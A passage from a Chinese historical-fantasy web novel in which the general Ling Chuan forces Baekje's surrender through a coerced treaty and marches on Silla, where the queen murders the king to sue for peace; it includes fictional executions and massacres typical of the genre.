右相眼神中闪过一抹锐利之色,对身旁的解仇武成说道:“马上封锁消息,你派人守住这里,任何人不得靠近,我去找左相,出城面见周军将领!” “是!”解仇武成没有丝毫犹豫,迅速将命令传达了下去。 第一卷 第579章 开城献降 残阳如血,秋风习习! 凌川的大军终于在日落之前抵达泗泆城下。这座百济国都的规模别说与神都相比,就连中原一些较大的州城都比不了。 远远看去,那城墙之上兵甲林立,旌旗蔽野,远远便能看到城中那巍峨而奢华的王宫。 就在这时,夜枭营的最新情报也秘密传到了凌川手中。 情报中显示,泗泆城内并没有大和军队,只有七皇子宫崎剡与他的随身侍卫,看到这里,凌川顿时长舒了一口气。 “将军,现在攻城吗?”蓝少堂走上前来,问道。 看得出来,这位禁军统领也已经按捺不住内心的激动。毕竟,只要打下泗泆城,就意味着百济亡国,而他们便是这一战的不世功臣,那是要名留史册的。 凌川摇了摇头,说道:“让弟兄们搭建军营,带甲轮流休整!” 城外百姓要么逃走,要么撤入城中,有大量房屋可供他们过夜。 之所以没有急着进攻,主要是为了给纪天禄时间,如今他那一千斥候大部分都潜入城中,小部分则是撒向泗泆城周围,就算有援军来袭,他们也能第一时间接到消息。 然而,就在此时,苍蝇指着城门方向,惊呼一声:“将军快看!” 凌川抬眼看去,只见城门打开一条缝隙,三道身影并肩走出,其中一人凌川认识,正是百济国左相古尔策,此时他脸上的淤青还未完全消散。 古尔策右边则是一名同样身着官袍的老者,只不过两人的官袍款式一致,颜色却是一红一蓝。 在两人身后,还有一名身形魁梧、留着络腮胡的汉子,身着铠甲、腰悬战刀,显然是一名武将。 “凌将军,我们又见面了!”古尔策三人来到周军阵前十余步才停下。 “百济国右相真忠信廉,见过大周将军!” “百济将领解仇武成,见过凌将军!”右相与大将军二人也对凌川躬身行礼。 凌川端坐于马背之上,居高临下地看着三人,虽然没有刻意释放出杀意,但三人却能感受到一股莫名的压力。 “三位找我,所为何事啊?”凌川淡淡问道。 “凌将军,您这一路杀来,也该消气了吧!”古尔策看着他,继续说道:“素闻将军麾下乃仁义之师,我百济故有万般不是,如今也付出了百倍代价,还望将军看在天下黎民的份上,就此退兵!我们陛下说了,将军有任何要求尽管提,我等一定极力满足!” 凌川嘴角勾起一抹冷笑,说道:“我们大周有句古话叫人不犯我我不犯人,人若犯我斩草除根!你让我就此退兵,那我大周那些死在你们百济士兵手中的百姓,又该找谁说理去?” 古尔策脸色一变,正欲反驳,凌川却抢先开口道: “更何况,我已经打到这里了,只需攻破前方的城门,整个百济都是我的,我要什么大可自己去取,无需伸手跟你们要!所以,这也不能成为你们谈判的筹码!” 就在这时,一直没有说话的右相开口问道:“凌将军,难道真的没得谈了吗?” 凌川顿了顿,淡淡说道:“也不是完全没得谈,但至少你们得让我看到诚意!” 右相点了点头,说道:“好!” 随即,他不动声色地将一只手伸到背后,大将军解仇武成看到右相的手势,直接拔出腰间战刀。 “嗤……” 一声轻响,战刀刺穿了左相的后心,左相身体一顿,他低头看着从胸口冒出来的带血刀尖,眼神中满是震惊与恐惧。 “你,你们……” 左相古尔策吃力地转过目光看向右相,他发现,此时这个在朝堂之上一直被自己压制的同僚,眼神中尽是冷漠。 随着解仇武成将战刀拔出,古尔策的身体直接扑倒在地上,抽搐了几下便彻底没了生机。 右相真忠信廉却看都没多看古尔策一眼,而是对着凌川躬身问道:“将军,这份诚意够吗?” 凌川嘴角带着一抹笑意,但还是摇了摇头,说道:“我知道,主张对大周出兵的乃是左相古尔策和兵马大元帅朴居折。如今,朴居折的命在我手里,你想用古尔策一条命换一个跟我和谈的机会,也未免太异想天开了!” 听到凌川这番话,真忠信廉并没有感觉诧异,而是点了点头,说道:“好!为了表示诚意,请将军稍候片刻!” 话音刚落,他再次对凌川行了一礼,随即带着大将军转身进入城中,只留下左相古尔策逐渐冰冷的尸体。 蓝少堂满脸不解地问道:“将军,他们这是在闹哪一出?” 凌川嘴角含笑,说道:“这个右相真忠信廉,有点意思!” 紧接着,他又对苍蝇说道:“去把朴居折带上来!” 很快,已经奄奄一息、狼狈不堪的朴居折被带到跟前,当他看到躺在地上已然失去生机的古尔策,朴居折竟然放声大笑起来。 “老天开眼,这卑鄙小人,终于死了!”朴居折声音嘶哑,笑得却异常放肆,以至于干裂的嘴唇渗出鲜血,也没有停下来的意思。 紧接着他转过目光,对凌川说道:“杀进去,把这座城里的人全部杀光,包括王位之上的扶余明晟!” 凌川也微微侧过目光看着他,说道:“原本想着留你一命,带回泗泆城或许有些用处,现在看来,是多此一举了!” 说完,凌川挥了挥手。苍蝇心领神会,直接拔出战刀朝着朴居折走去。 “嗤……” 一抹鲜血喷涌而出,朴居折人头落地。 就在此时,纪天禄的最新情报也送到了凌川手中,他接过来粗略扫了一眼,脸上笑意更浓。 “原来如此!” 蓝少堂等人不明所以,可凌川的目光却看着城门的方向,只见城门再次打开,这一次出现的不仅是右相真忠信廉和大将军解仇武成,身后还有一支车队。 那并非是马车,而是运送物资的板车,车上铺着麻布。 尽管车队相隔甚远,凌川已经猜到了板车之上是什么。若非自己刚才接到了纪天禄的密信,他还真有可能被对方蒙骗。 第一卷 第580章 新王跪迎 右相与大将军解仇武成二人带着车队再度来到凌川的队伍跟前。 “凌将军,我们把诚意带来了!”右相真忠信廉说完对着后方微微抬手,推车的士兵将盖在板车上的麻布一一掀开。 十余辆马车上摆满了尸体,这些尸体大多身着百济官服,显然是百济国的官员。此外,还有一具尸体穿着武士服、留着月代头的矮小男子,如果不出所料,他应该就是大和帝国的七皇子,宫崎剡。 紧接着,凌川看到了一具身着大袖紫袍的尸体,约莫五十开外,被人一刀封喉,从服饰看,这明显是百济国国王。 如果仅仅是一具尸体,自然不能断定其身份,毕竟,对方完全可以随便找一具尸体来试图蒙混过关。 但纪天禄传来的密报中明确提到,百济国王扶余明晟和一名王妃以及大和七皇子宫崎剡全部死在王宫之内。纪天禄没有用‘疑似’之类的字眼,显然,他不仅仅是从这些尸体得出的结论。 “凌将军,这份诚意不知够不够了?”右相看着凌川,问道。 凌川眼含笑意,说道:“右相大人,其实我知道,早在一个时辰前,你们的国王扶余明晟与大和七皇子就已经死了!” 听闻此言,右相眼中闪过一丝惊骇之色,他没想到,凌川竟然早就知道内情,看来,他远不止城外这支铁骑大军,城内也有他的眼线。 在得知国王陛下与宫崎剡身死的消息后,他便萌生出一个计划,那就是用他们的死来平息周军的怒火。 第一次之所以没有带这些尸体出去,一来是要瞒着左相,但更重要的是他要让凌川以为,这是他们从城外返回之后,杀死了扶余明晟和宫崎剡,以此来表达求和的诚意与决心。 哪曾想,自己这点伎俩早就被对方给识破了,看到凌川脸上那似笑非笑的表情,右相内心的恐惧不由得又加深了几分。 就在此时,凌川的声音再次传来:“右相大人,尽管你在我面前耍了小聪明,但我念在你真心为百姓的份上,姑且就给你一次和谈的机会。不过,我的条件可不是那么简单的,一旦答应下来,你极有可能背负千古骂名,你确定还要谈吗?” “个人荣辱与天下苍生相比,又算得了什么?”右相的语气中充满了无奈,随后问道:“将军想什么时候谈?” “就现在吧!谈完我还得赶去新罗!”凌川淡淡说道。 之所以提到新罗,就是刻意将这个消息透露给对方,让他明白,无论是谁,只要侵犯大周边境,必将承受大周帝国的雷霆之怒。 “那不知将军是否愿意进城细谈?”右相又问道。 “哈哈哈哈……”凌川闻言,顿时大笑一声:“右相大人未免太小看我凌川了,我随你进城就是,如果我死在城里,我保证,身后的大周将士会将整个泗泆城杀得鸡犬不留!” “将军放心,我等绝无恶意!”右相连忙表态道,随即对凌川做了一个请的手势。 见凌川答应下来,蓝少堂与洛青云等人连忙上前劝阻:“将军,此举不妥,对方城中有足足五万大军,你贸然进去,要是他们反悔……” 凌川淡然笑道:“放心,他们不敢!” 随即,凌川便出发前往泗泆城,他此行只带了苍蝇、聂星寒、张破虏和周灏四人。 周灏眼神中闪过一丝惊愕,显然,他没想到凌川会带上他。 当然,凌川此举也有自己的深意,此番和谈,自己代表的不再是个人,也非一军主将,而是代表大周帝国。 这种事情,倘若没有皇帝的‘眼线’在身边,未免会让其生疑,带上周灏自可洗掉这一顾虑。 若是自己连城都不敢进,那未免让百济国小看,他就是要用这种姿态,击垮百济人心里的最后一道防线。 不过,凌川也不是有勇无谋的莽夫,如果真出现变故,以自己的实力,也有自保之力,加之城内的数百斥候,想要杀出来也不是不可能。 当然,这是万一情况下的后手。 正常而言,眼下这种局面,百济国只要不想亡国灭种,就不敢动自己,哪怕最后和谈不成,他们也会把自己毫发无损地送出城去。 四人一路骑马进入城中,凌川身后的几人也深知他们代表的不仅是周军,更是代表了大周,一个个将腰板挺得笔直。 他们更是将战马一路骑到了王宫跟前,此举在百济国历史上,都是绝无仅有的,但却没有人敢出声指责。 王宫门前,一众文武官员躬身相迎,领头的是一名身着大袖紫袍的少年,只有十四五岁,脸上写满悲伤与惶恐。 这少年不是别人,正是扶余明晟的长子,扶余俊辰。 就在刚才,他还没搞清楚什么状况,便被大将军和右相宣布,由他来接任王位。 此后他才得知,父王已经身死,按照百济礼制,应由他接任王位。 然而,他这位新王继任的第一件事,竟然是开城献降。 “百济新王,扶余俊辰,见过凌将军!”那少年躬身行礼,身后一众官员也都跟着行礼。 凌川翻身下马,对右相说道:“似乎,贵国和谈的诚意不太够啊!” 不等右相回答,凌川便抬脚朝着扶余俊辰走去,苍蝇、张破虏、聂星寒与周灏四人紧随其后。 随着凌川每一步靠近,扶余俊辰都能感受到一股莫大的压力朝着自己席卷而来,不知不觉间,后心已被冷汗湿透,额头上也冒出了细密的汗珠。 凌川的脚步不急不缓,在这安静到极点的王宫门口异常清脆,铠甲的碰撞声更是宛如催魂铃一般,让人心绪不安。 他每一步落下,扶余俊辰都能感受到那股莫名的压力,不仅仅是战场上带下来的凛冽杀机,还有一股说不清道不明却直袭灵魂的压力。 而且,这种压力随着凌川不断靠近而越来越强烈。 “噗通……” 终于,在凌川走到他跟前之时,扶余俊辰终究还是承受不住,双膝一软,直接跪了下去。 第一卷 第581章 成全他们吧 扶余俊辰这一跪,让身后一众官员脸色剧变。 距离最近的两名官员正要上前将其扶起,苍蝇与张破虏却走了上去,雪亮的战刀与染血大戟指向两人。 “谁敢扶一个试试!”苍蝇怒声喝道。 那两名官员的身体当场僵住,一旁的右相面色凝重,但还是对那两名官员摇了摇头,二人这才不甘地退回原地。 “怎么?你们国王陛下都下跪行礼了,你们这些做臣子的,不准备陪着?”张破虏一双虎目从这一众官员身上扫过,众人不由得打了一个寒颤。 很显然,这是凌川授意的,此举是为了立威,不仅要将百济国上至国王大臣的最后一丝尊严踏碎,更是要将恐惧的种子深植于这个民族的血脉之中。 只见右相真忠信廉与大将军解仇武成大步上前,来到新王扶余俊辰身后跪下。 “恭迎大周将军!” 其他官员见此情景,也都不得不跪下,一个个眼神中写满了屈辱,但却不敢表现出愤恨。 可终究还是有硬骨头,只见几道身影依旧立于场中,不曾下跪。 凌川看着几人,眼神中有欣赏,但更多的还是杀意。 欣赏他们的风骨,但正因如此,才要杀掉他们。 那几人也毫不畏惧地迎上凌川的目光,其中一名身着铠甲的武将更是开口说道:“我乃百济臣子,岂能向别国将领下跪?” 另一名年迈的官员更是目眦欲裂,指名道姓地怒喝道:“真忠信廉,你这无耻国贼,你弑君夺权,扶植新皇意图篡位,你是百济的罪人,你不得好死!” 另一人则是满脸仇恨地盯着凌川,喝道:“你们这群魔鬼,今日在我百济境内犯下的杀孽,早晚要百倍偿还!” 几名官员纷纷喝骂道,真忠信廉始终跪伏在地上,脸色无比复杂,但却没有辩驳一句。 “真有骨气!成全他们吧!”凌川微微点头说道。 听到命令,苍蝇与张破虏径直朝着几人走去。 面对迎面走来的二人,那几名官员眼神中闪过畏惧之色,但却没有后退一步。 “杀吧,我今日……” “嗤嗤……” 刀光闪过、寒芒飞舞,几名官员被当场斩杀于宫门前。 一行五人,却在别国皇宫门前肆无忌惮地大开杀戒,哪怕城中有五万大军,周围更是重兵把守,但却无一人敢上前制止,因为他们的国王陛下已经带着一众群臣跪下了。 而这,正是凌川想要的效果,见再无一名百济官员站着之后,他才抬脚朝着王宫内走去。 而一众百济官员这才起身,跟着走了进来。 凌川没有去坐那王座,而是随便找了个位置坐下,让周灏坐在自己身边,掏出笔墨,随时准备记录。 但知晓周灏身份的苍蝇与张破虏三人却明白,凌川此举可不仅仅是让他做记录那么简单,周灏作为三皇子,此时代表的是大周皇族。 新王扶余俊辰同样没有去坐王座,而是在对面的位置坐下,右相真忠信廉与大将军解仇武成分别坐在左右两侧,其余一众官员则是在后方恭恭敬敬地站着。 “好了,我赶时间,你们说吧,想怎么谈?”凌川给自己倒了一杯茶,直截了当地问道。 右相站起身来,说道:“将军,我们只有一个要求,请大周撤军,从此我百济国愿永世与大周修好,绝不冒犯一分一毫!” 听到这话,凌川嘴角浮现一抹冷笑,侧过目光对身边的周灏说道:“不用记了,准备拔刀吧!” 此言一出,王宫内的气氛陡然紧张了起来,显然是没想到凌川只听了对方一句话,就直接不谈了。 其实,这不过是凌川的心理战术,他就是要告诉对方一个信息,自己对何谈没有多大兴趣,因为对于自己来说,只要攻破这泗泆城,一切都将是自己的。 可事实上,凌川并没有覆灭百济的想法,相反,他心里很清楚,不能让百济亡国。 原因很简单,大周现在根本没有精力接手百济国的版图,百济一旦亡国,这片疆域势必会被其它小国占领。 无论是大和还是渤海乃至新罗等国,他们占领百济之后,其自身实力必然会暴涨,那对于大周而言,无疑是一个更大的威胁。 所以,凌川在进入百济之前就已经想到了现在的局面,但这一点除了他自己,没有对任何人提及,而是摆出一副要将百济彻底灭掉的架势,让手下将士们表现得更加凶残,以此来让百济国恐惧。 果然,一众百济官员面露恐慌之色,右相更是连忙补充道:“将军请听我说……” 凌川不等右相说完,便抬手做了个斩截的手势,目光如炬地扫过在场每一位百济官员。 “要我撤军,可以!”他的声音平静却带着不容置疑的威严,“我有三个条件,你们若能答应,今日便可缔结盟约;若不答应!”他顿了顿,唇角勾起一抹冷峻的弧度,“那我就亲自来取!” 右相深吸一口气,强自镇定地问道:“敢问将军,是哪三个条件?” “其一……”凌川竖起一根手指,“自即日起,百济须向大周称臣纳贡,每年需上缴白银五十万两,丝绸五万匹,粮食两百万石!” 此言一出,百济官员中顿时响起一片抽气声。 年幼的新王扶余俊辰不自觉地攥紧了衣袍袖口,脸色发白,右相更是面色凝重,这条件虽比预想中温和不少,但对饱经战火的百济而言仍是沉重负担。 事实上,凌川这个条件也是深思熟虑的结果,如果漫天要价,只会让百济国的百姓无法生存,倒不是说他心生仁慈,而是一旦百姓人口锐减,就更不可能完成纳贡。 凌川是结合百济的疆域、人口以及战后的综合国力开出的条件,让他们能够完成纳贡却又没有任何‘余力’,自然也就生不出歪心思。 “其二!”凌川的声音再次响起,打断了众人的窃窃私语。 “以马訾水为界,大江以北划归大周,此后大周有权在百济各关隘、海港驻军,并可在战时调动百济军队。大周商队享有在百济境内自由通商之权,百济须确保其安全无虞!” 第一卷 第582章 泗泆盟约 听到以马訾水为界,右相与几位老臣不约而同地松了口气。 原本以为凌川会趁机狮子大开口,将国界南移到圣居山一带,直接分走百济的半壁江山,没想到对方只要了马訾水这几十里土地,这个条件确实温和许多。 但他们很快意识到,真正的要害在于驻军权与商权,这等于将百济的命脉交到了大周手中。 事实上,凌川之所以将国界定在马訾水,并非是觊觎那点领土,主要是刻意以此江为天堑,进一步巩固大周边境防御。 “其三!”凌川目光深邃,再度开口:“此后百济历代国王,皆需经大周皇帝册封方可即位,新王登基三年内,须遣嫡子入大周神都为质。此外,百济须设学堂,所有官员需研习大周典籍,推行大周礼制!” 正在记录的周灏笔锋微顿,眼中闪过一丝不解,但还是如实记录下来。 百济官员们也面面相觑,唯有几位饱学之士隐约察觉到这条要求背后深远的文化同化之意。 凌川将众人的反应尽收眼底,他提出的这三个条件,看似在军事与经济上留有余地,实则通过驻军权、商权与文化渗透,将百济国的根基命脉牢牢抓在手中。 哪怕他们提前做好了充足的心理准备,听完这三个要求,一众官员脸色苍白到了极点,他们深知这背后的分量。 凌川没有给他们多余的时间思考,而是直接开口道:“进来的时候,我给手下将士下的命令是,若日落之前没见我出城,便立即发起进攻,现在你们还有一炷香的时间考虑!” 凌川说完便不再理会众人,而是对身边的周灏小声说道:“着手拟定盟约吧!” 周灏神色一凛,问道:“他们会答应?” “他们没有其他选择!”凌川点了点头,说道。 周灏立马拿出事先准备好的上等蚕丝绫锦织,这是他在神都的时候就准备好的,让周灏一直带着,也是直到此时,周灏才明白这东西的用途。 他将锦织放在桌面铺平展开,然后开始书写。 盟约在遣词造句以及格式上都有极其严苛的要求,周灏饱读诗书,且其三皇子的身份能接触到许多其他人接触不到的制式文书,写起来自然不在话下。 很快,两份盟约便写好了,苍蝇将凌川的镇北侯金印取出,盖上鲜红印记。 就在此时,新王扶余俊辰与右相站起身来,只见他开口用稚嫩的声音说道:“我百济愿接受大周的要求,签订盟约!不过,我有一点请求!” “说!”凌川微微点头。 “如果我百济遭受外敌入侵,还请大周出兵相助!”扶余俊辰的眼神中带着深深的忌惮与畏惧,十指紧扣在一起。 凌川点了点头,说道:“这个你们放心,大周不会白拿你们的进贡。你们作为大周的附属国,只要安分守己,大周定会护你们周全!” “谢将军!”扶余俊辰满意道谢。 凌川点了点头,让周灏将两份盟约送到对方手中,由专人在上面用百济文书写了一遍,随后盖上百济国王的印章,由双方各自当场宣读一遍。 自此,盟约正式生效。 苍蝇等人暗自松了一口气,百济一边同样如此,虽然付出了难以想象的代价,但总好过亡国灭种。 随后,凌川让苍蝇出城传令,亲兵营和洛青云的死字营入城,禁军依旧驻扎于城外。同时,火速将这份盟约送回卑沙城,并让他们派八百里加急送往神都,呈与陛下。 盟约虽已达成,但还有很多事情没有处理完,凌川让右相和扶余俊辰以及一些重要群臣留下,其他人退出大殿。 紧接着,凌川做出了一系列的交代与安排,其中,最重要的一点就是关于新罗国的地图和情报。 百济国作为新罗的邻国,自然有着非常详细的情报,凌川让人将这些送到蓝少堂手中,让他召集一众将领,尽快熟悉。 晚宴之后,右相更是向凌川请教了很多问题,其中主要涉及治国、农耕以及经济等方面,凌川会选择性告知,自然不可能倾囊相授。 毕竟,按照此前凌川呈给陛下的那份战略,其中最重要的一点便是拿下新罗与百济等小国,用他们的钱粮来支配北疆的战争。 毕竟,对于大周而言,最大的敌人始终是北疆的胡羯。 而且,双方这场战争绝不会在短时间内结束,这些年,朝廷每年向四方边疆运送了大量粮草物资,国库已经快要见底了。 其中,消耗最大的,无疑就是北疆。 而凌川当时那份战略,不仅仅是针对东疆与大和水军即将展开的这场战争,而是站在大周帝国全局的高度来制定的。 若是有足够钱粮资源来支撑,北疆便可扩军,在往后的战局中逐渐扳回主动。 所以,就算右相真忠信廉不问,凌川后续也会派人来帮助他们发展农业,毕竟,只有他们能种出足够的粮食,才能给大周上贡。 而且,只要牢牢把控其国之命脉,就不怕他们强大之后噬主。 二人秉烛夜谈到深夜,周灏全程作陪。 次日,凌川再次带领大军起程,接下来的目标便是继续往南,剑指新罗。 今早,凌川接到两封情报,一封是唐岿然那边传来的,此时他们已经抵达新罗国境内的预定地点,但按照凌川此前的交代按兵不动。 第二封则是来自东疆节度府。 情报显示,三日前,大和水军与东疆水师在东海进行了一场试探性的交锋,双方损失不大,未分胜负。 但凌川却注意到一个重要细节,那就是此次大周出动了五千兵力,而大和却只有两千先锋军,这种情况下的平分秋色,其真实情况也就不言而喻了。 而且,既然东疆主战场的战火已经燃起,那距离大战也就不远了,所以,凌川这边必须加快速度,必须以最快速度扫平新罗,然后再驰援主战场。 虽说对新罗和百济出兵也是整个战术策略的重要一环,但真正决定成败的,还是在东疆主战场。 自己现在所做的,不过是先剪除干扰,将最终一战的胜率提升一些。 第一卷 第583章 进军新罗 离开百济国都之后的第二天,他们终于进入了新罗国境内,这也就预示着新一轮的战斗即将展开。 新罗的情况跟百济不一样,百济水军不多,而新罗的水军却占到国家总兵力的一半还要多。 进入新罗国境内之后,凌川依旧按照之前的方式,纪天禄带领夜枭营先行,凌川则是兵分三路同时推进,可足足推进了两百里,也没有遇到什么有效抵抗。 从疆域面积来看,百济国略大一些,但若论综合国力,两国相差不大。 事实上,早在数百年前,新罗、百济乃至高丽都同属一国,名为高句丽。 只不过,在中原前朝的时候,高句丽发生内乱,一分为三。 现在的高丽虽然依旧是三国之中国力最强的,但也只是相较于新罗和百济而言,而且,就算是对这两国,高丽也没有压倒性的优势。 又是三日之后,队伍来到汉山城,这是除新罗国都金城之外,最大的几座城关之一。 相对来说,想要攻下汉山城可没有之前在百济境内攻克圣居山那三道关卡那么容易,好在凌川早有安排,算算时间,现在唐岿然的玄甲营与柳衡的雁翎骑应该也差不多就位了。 果然,当天下午城内便传来震天喊杀声,片刻之后,城门被攻克,凌川率领亲兵营和两千禁军杀了进去。 可等他们杀到的时候,战斗基本已经结束。 汉山城无论是城池之坚固还是兵力,在新罗境内都算名列靠前。但在玄甲营面前,根本就如枯槁秸秆一般不堪一击,一路横推过来,几乎就是碾压的姿态。 凌川身后的禁军们一个个面带失望,显然是因为来得太慢没捞到军功。 很快,身着重甲、身形更显魁梧的唐岿然迎面走来。 见到这身重甲,张破虏的眼神中满是羡慕之色,这已经是他第二次见到玄甲营了,眼神中的羡慕依旧难以自抑。 凌川看在眼里,但并未急着点破。 “将军,三千余守城将士已经全部伏诛,汉山城也基本在我们的掌控之中,夜枭营正在继续往前推进!”唐岿然禀报道。 “干得不错!”凌川点了点头,笑问道:“玄甲营一直是你一个人带领,副都尉有合适人选吗?” 唐岿然先是一愣,随即扫了凌川身后的张破虏一眼,心中已然明了,但还是佯装不知情,摇头说道:“一切听从将军安排!” 凌川一把拉过身后的张破虏,问道:“怎么样,有没有兴趣?” 张破虏满脸激动,点头如捣蒜,随后,他开口说道:“将军,我想去玄甲营,但不是直接去当副都尉!” 凌川略感意外,问道:“哦?为何?” “爷爷说了,想要做一名合格的将军,就得先做一名合格的士兵,否则,就算执掌万军,也难以服众!”张破虏铿锵有力地说道。 “好,那从现在开始,你就是玄甲营的一员。不过,从你之前所立的战功来看,你可以当一名校尉!”凌川说道。 “不,我只当一名普通士兵!”张破虏依旧倔强地说道。 凌川无奈摇头道:“真是个犟种!” 进入城中之后,大军在这里驻扎下来休整一夜,准备次日再出发。 而洛青云与蓝少堂两人,也在雁翎骑和夜枭营的里应外合之下,先后攻克了大邱城和碧骨城,随着这三座城关告破,新罗国将无险可守。 这也充分体现出凌川的眼光之长远,他从卑沙城出发不久,便根据东疆主战场那边的局势,及时调整了战术,让玄甲营和雁翎骑跟随舰队一路赶到新罗海岸隐匿起来。 等他们这边一路推进到这几座城关跟前,雁翎骑与玄甲营便开始出动,从南面杀入城内,首要任务是拿下城门,将外面的禁军放进来。 事实上,当玄甲营和雁翎骑入城的那一刻,也就意味着城关失守了,就算没有禁军的加入,战斗也基本不存在太大悬念。 新罗跟百济差不多,无论是兵甲还是士兵的战斗力,都远远无法与周军相比。 城破之后,接下来便是一场无情的清洗与屠杀,虽然还是依照此前在百济的方法,只杀官员和将士,但士兵们下起手来却更加狠辣。 只因他们此前在雷州半岛目睹了大周百姓被新罗水军劫掠屠杀的悲惨下场。 尽管那支新罗水军已经尽数葬身在蓬莱县海湾,但这笔账算在新罗国身上,一点都不带冤枉。 攻破这条防线之后,新罗国的噩梦才算是真正开始。 之前的三路大军,如今有了玄甲营和雁翎骑的加入,直接化身为五路大军,彼此形成一个弧线,由北往南推进。 短短三天时间,便推进到距离新罗国都金城不足两百里的地方。 这一路横推过来,可谓是血流成河、哀鸿遍野。粗略估计,至少有三万官兵被斩杀,尸体被悬挂于城墙或城内,很多地方更是筑起一座座京观,吓得新罗百姓争相逃走避难。 终于,在距离金城不足百里的地方,新罗前来求和的使团到了,可凌川却见都没见他们,直接让苍蝇传话,让他们回去洗干净脖子等着。 次日,五路大军在金城外汇集,足足一万五千大军,虽然不能对金城形成合围之势,但那一望无际的铁甲与战刀,让城中守军头皮发麻。 “纪天禄那边怎么说?”凌川开口问道。 “六百余夜枭营的斥候已经于前两日进入城中,从他们传出的情报来看,金城之中有三万守军。不过,他们的另外两支水军也在迅速回援,距此还有两百里!”沈珏禀报道。 凌川不屑地冷笑道:“到了陆地上,这些水军跟软脚虾无异!更何况,以他们的行军速度,赶到金城之前,足够我们将城中的人来回杀几遍了!” 蓝少堂等人闻言,顿时来了兴致,问道:“将军,这次是要攻城了吗?” 凌川一只手搭在他的肩膀上,说道:“要不这样,咱们把这里打下来,然后我让陛下给你一个封疆大吏的官职,以后由你来治理这片疆域,如何?” 蓝少堂听后连连摇头:“还是算了,我不是那块料!” “嘁,也就是你,要是其他人估计睡着了都得笑醒!”凌川揶揄道。 第一卷 第584章 马踏金城 就在大军抵达金城的一个时辰内,新罗先后派出三批使臣前来求和,然而凌川依旧没有理会他们。 金城坐落在一座矮山之上,相比起泗泆城略小一些,但就战略地位而言,却更为险要。 当然,以凌川现在的兵力,虽然没有辎重器械,但有六百余斥候作为内应,想要攻下金城也没有那么难,只不过这需要付出一定的代价。 凌川对待新罗的方式和态度,跟百济一样,并没想过要将其灭掉,而是将其打残,然后让他们为大周效力。 当然,这个尺度必须拿捏好。若是太轻,达不到震慑的效果,他们可能伤疤还没好就忘了疼;若是太重,他们短时间内又无法恢复元气,不能为大周纳贡,这就与凌川最初的计划相悖。 此时,金城四周城墙之上插满了白旗。奈何几次求和都未能见到凌川,此时整座城中上至国王大臣,下至普通百姓,内心无不是充满了恐惧,很多人躲在家中不敢出门。 金城王宫深处,新罗国王金道日如同困兽般在殿内来回踱步,额角渗出的冷汗浸湿了鬓发。 他那双布满血丝的眼睛里,恐惧与绝望交织,每一次转身都带着濒死般的颤抖。 王后明珠静立在不远处,一袭绛红宫装衬得她肤白如雪,她看似忧心忡忡,指尖却不自觉地摩挲着袖中一件硬物。 “陛下!”她莲步轻移,声音柔媚似水,“不如出去与那位大周将军好好谈谈?若是等到周军开始攻城,一切可就晚了!” 金道日猛地停下脚步,龙袍袖口被他攥得发皱。“一边是大和,一边是大周,我们新罗区区小国,哪边都得罪不起啊!”他的声音嘶哑,透着深深的无力感。 王后轻轻握住他的手,指尖冰凉:“陛下想想,大和那位皇子听闻周军来袭,连夜就逃了。我们向大周求和也是无奈之举。不论他们哪边得势,我们择木而栖便是!” “可我们之前毕竟对大周动过兵啊!”金道日痛苦地闭上双眼,“派去的使节全被赶了回来,就算想求和,人家也未必愿意见我们!” “百济不是求和成功了吗?”王后的声音依然轻柔,眼底却闪过一丝异光。 这句话像利刃般刺中金道日的心口,他猛然睁眼,声音颤抖:“你以为百济为何能谈和?国王扶余明晟、左相古尔策、兵马大元帅朴居折全都死了!如此惨重的代价才换来和谈的机会,难道你……” 话音未落,一阵剧痛从胸口袭来。 金道日低头,难以置信地看着那把镶满红蓝宝石的匕首,那是他当年亲手赠予王后的定情信物,此刻正深深没入他的胸膛。 王后依然保持着柔美的微笑,红唇轻启:“扶余明晟可以死,陛下为何不能?” “你……”金道日踉跄后退,鲜血顺着匕首的血槽汩汩涌出。 他死死盯着这个同床共枕十余年的女子,仿佛第一次认识她。 “为什么?”他每说一个字,胸口就涌出更多鲜血。 王后优雅地后退两步,语气平静得可怕:“只有你死了,我们才能活!更何况……”她顿了顿,唇角勾起冰冷的弧度,“你死了,我的儿子才能名正言顺地登上王位!” 金道日敏锐地捕捉到她的用词,是‘我的儿子’,而不是‘我们的儿子’。这一刻,他的心比伤口更痛。 “金庾信……果然不是我的种……”他嘶声怒吼,鲜血从嘴角溢出,“是谁?到底是谁?” “咯咯……”王后嘴里发出冷笑,指向一侧说道:“是他!” 宫殿屏风之后,一道熟悉的身影缓步走了出来。 金道凯,他的亲弟弟,正用一种胜利者的姿态注视着他。 “原来是你……”金道日目眦欲裂,猛地拔出胸口的匕首,向王后扑去,然而刚迈出两步,便眼前一黑,重重栽倒在地。 金道凯走上前来轻蔑地踢了踢兄长抽搐的身体,随即肆无忌惮地将王后揽入怀中。 “王兄,这一切都是你逼我的,怪不得我!”他的笑声在空旷的宫殿回荡。 “当年我与明珠青梅竹马,是你把她从我身边抢走!从那时起,我就发誓不仅要夺回她,还要夺走你的王位!” 金道凯眼神中满是得意,面容更是因此显得有些扭曲。他一边说,一只手更是直接从王后的领口伸了进去,肆意揉捏。 王后非但没有阻止,似乎还很享受,嘴里不断发出娇哼。 新罗国王金道日就这样在无尽的愤怒与屈辱中死去。 金道凯见状,不由得肆意狂笑起来,一只手更是朝着王后的身下探去,就在他准备现场来一场别样的‘庆贺’之时,殿门轰然被撞开。 卫队统领崔护率领国王卫队鱼贯而入,王后瞬间推开金道凯,满脸悲痛地扑到金道日尸身旁:“崔护卫!大等公杀害陛下,还想玷污我!” 金道凯脸色剧变,看着那个从小一起长大,这些年更是暗中与自己多次私会的女子,只感觉前所未有的陌生。 “你好狠……”他咬牙切齿。 崔护面无表情地挥手,卫队一拥而上。 一个时辰后,金城城门缓缓开启。 王后明珠牵着年仅十岁的王子走出城门,身后大臣们抬着一口棺椁,夕阳将她的身影拉得很长,也将那张美艳绝伦的脸上的泪水映照得愈发闪亮。 不多时,明珠王后牵着王子来到凌川的队伍跟前。 “新罗王后明珠,携王子金庾信,参见凌将军!”母子二人躬身见礼。 凌川看着明珠王后,虽然对方满脸悲伤,脸上的眼泪更是一直没干过,可凌川总感觉她的悲伤很假,或是来源于她不经意间的一抹眼神,亦或者是一种说不清道不明的直觉。 “王后这是来求和的?”凌川淡淡问道。 “正是!”明珠王后回答道,声音有些嘶哑。 凌川瞄了后方那口棺椁,明知故问:“为何没见到贵国国王?” 明珠王后抽泣道:“将军有所不知,就在刚才,国王陛下已经……已经以死谢罪了!” 第一卷 第585章 明珠王后 听闻新罗国王以死谢罪,凌川眉头微挑,眼神中闪过一丝怀疑之色。 